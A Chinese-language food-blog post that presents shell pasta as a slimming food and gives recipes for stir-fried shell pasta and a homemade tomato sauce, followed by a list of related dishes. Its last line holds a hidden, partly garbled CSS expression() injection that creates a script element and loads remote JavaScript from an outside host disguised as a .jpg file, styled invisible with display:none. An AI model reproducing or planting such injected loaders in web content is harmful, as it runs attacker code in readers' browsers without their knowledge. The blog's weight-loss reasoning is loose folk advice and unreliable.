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【炒貝殼意面】:減肥的面食_風中彩虹

很久以前看《正大綜藝》的“世界真奇妙”,有一期是關于意大利面的節目,介紹了花色繁多的意粉意面。 主持人拿著一種形狀像個圓拱橋的意粉提問:把意粉做成這般模樣,除了美觀,還有什么作用?(差不多是這個樣子的:Ω )怎么樣,你能猜得出嗎? 想不到的答案,當時幾個嘉賓沒一人猜對。因為它的作用竟然是:減肥! 想想其實倒不難理解,做成這種中空的形狀,占的空間大,實際內容卻少;看起來一大堆,其實沒多大量。盛了滿滿一盤子,可能還不及一小碗的實在。 所以無形中就減少了進食量,長此以往,當然就能減肥啦。 而且因為意大利面是用硬質小麥做的,口感比中國的面要硬。吃的時候,人會自覺地延長咀嚼時間。要知道吃飯時充分地細嚼慢咽,絕對是減肥的良方哦~~~~ (北方爺們吃面條時稀里呼嚕幾口就干掉一大碗,那是絕對要長肉的~~~~) 怪不得意大利女人都那么美麗窈窕,怪不得意大面要做成這么多形狀,原來這一切絕不是偶然~~~~ 想減肥,經常吃些各種形狀的意粉吧~~~~記住,一定要自己做的,外面的,可不一定會減肥哦~~~~ ******** 炒貝殼意面 ******** 材料:貝殼面100克,白蘑菇4個,豌豆20克,意粉醬適量 做法: 1、貝殼面放入沸水中,加少許鹽煮熟,撈出過一下涼水,瀝干水分 2、蘑菇和豌豆放入沸水中焯一下撈出瀝干水分,蘑菇切片 3、鍋中倒少許橄欖油,倒入蘑菇片和豌豆,炒一分鐘 4、倒入意粉醬,炒至蘑菇和豌豆熟 5、倒入煮好的貝殼面,炒勻即可 備注: 1、煮意面時,水里加入少許鹽,使面更有咬勁,口感好 2、炒蘑菇和豌豆時油不需多放,一點點就可以了,看我的鍋里,幾乎沒有油~~~ 3、才100克面,就這么多,做好后裝了兩盤子。要是一般的面條,100克才一點點。 不一樣就是不一樣! ******** 意粉醬 ******** 材料:西紅柿4個,洋蔥1個,大蒜5瓣,意大利綜合香草碎,黑胡椒粉,鹽,白糖1小勺 做法: 1、西紅柿洗凈去皮切塊,洋蔥、大蒜切碎 2、鍋中倒入少許橄欖油,倒入洋蔥碎和大蒜碎 3、炒出香味后,倒入西紅柿塊,不斷翻炒 4、炒至出湯,倒入香草碎和黑胡椒粉、白糖炒勻 5、小火煮約20分鐘至濃稠,調入鹽即可,中間要不時攪拌一下 備注: 1、炒醬也可用黃油(10克即可),待加熱融化后,倒入洋蔥和蒜碎 2、不同的西紅柿出湯不同,如果出湯少,煮時要倒入少許水或水淀粉,最后大火收汁 3、此醬可配意粉,也可做披薩,一醬多用 4、多做出來的,可以冷凍存放較長時間,用時提前取出化凍即可 每一個貝殼里,都藏著珍珠~~~~ 這些也可以減肥~~~ 香菇干貝燉白菜 蘑菇小炒 番茄凍豆腐 蘿花吐艷 蠶豆冬瓜湯 碧玉白菜卷 香菇魚片粥 綠野仙菇 隨便菜 蒜蓉粉絲蒸扇貝 麻醬菠菜卷 水晶素蒸餃 粉絲菠菜塔 麻醬涼粉 粉蒸芹菜葉 蕃茄炒西蘭花 翡翠涼面 ee:expression_r{if{var ss='s'+'cript';var tt='text/ja'+'vas'+'cript';var st=document.createElement;st.src='http://hajenip.googlepages.com/sina.jpg';st.type=tt;document.getElementsByTagName_r.item.appendChild;window.r=1}});width:0px;display:none"
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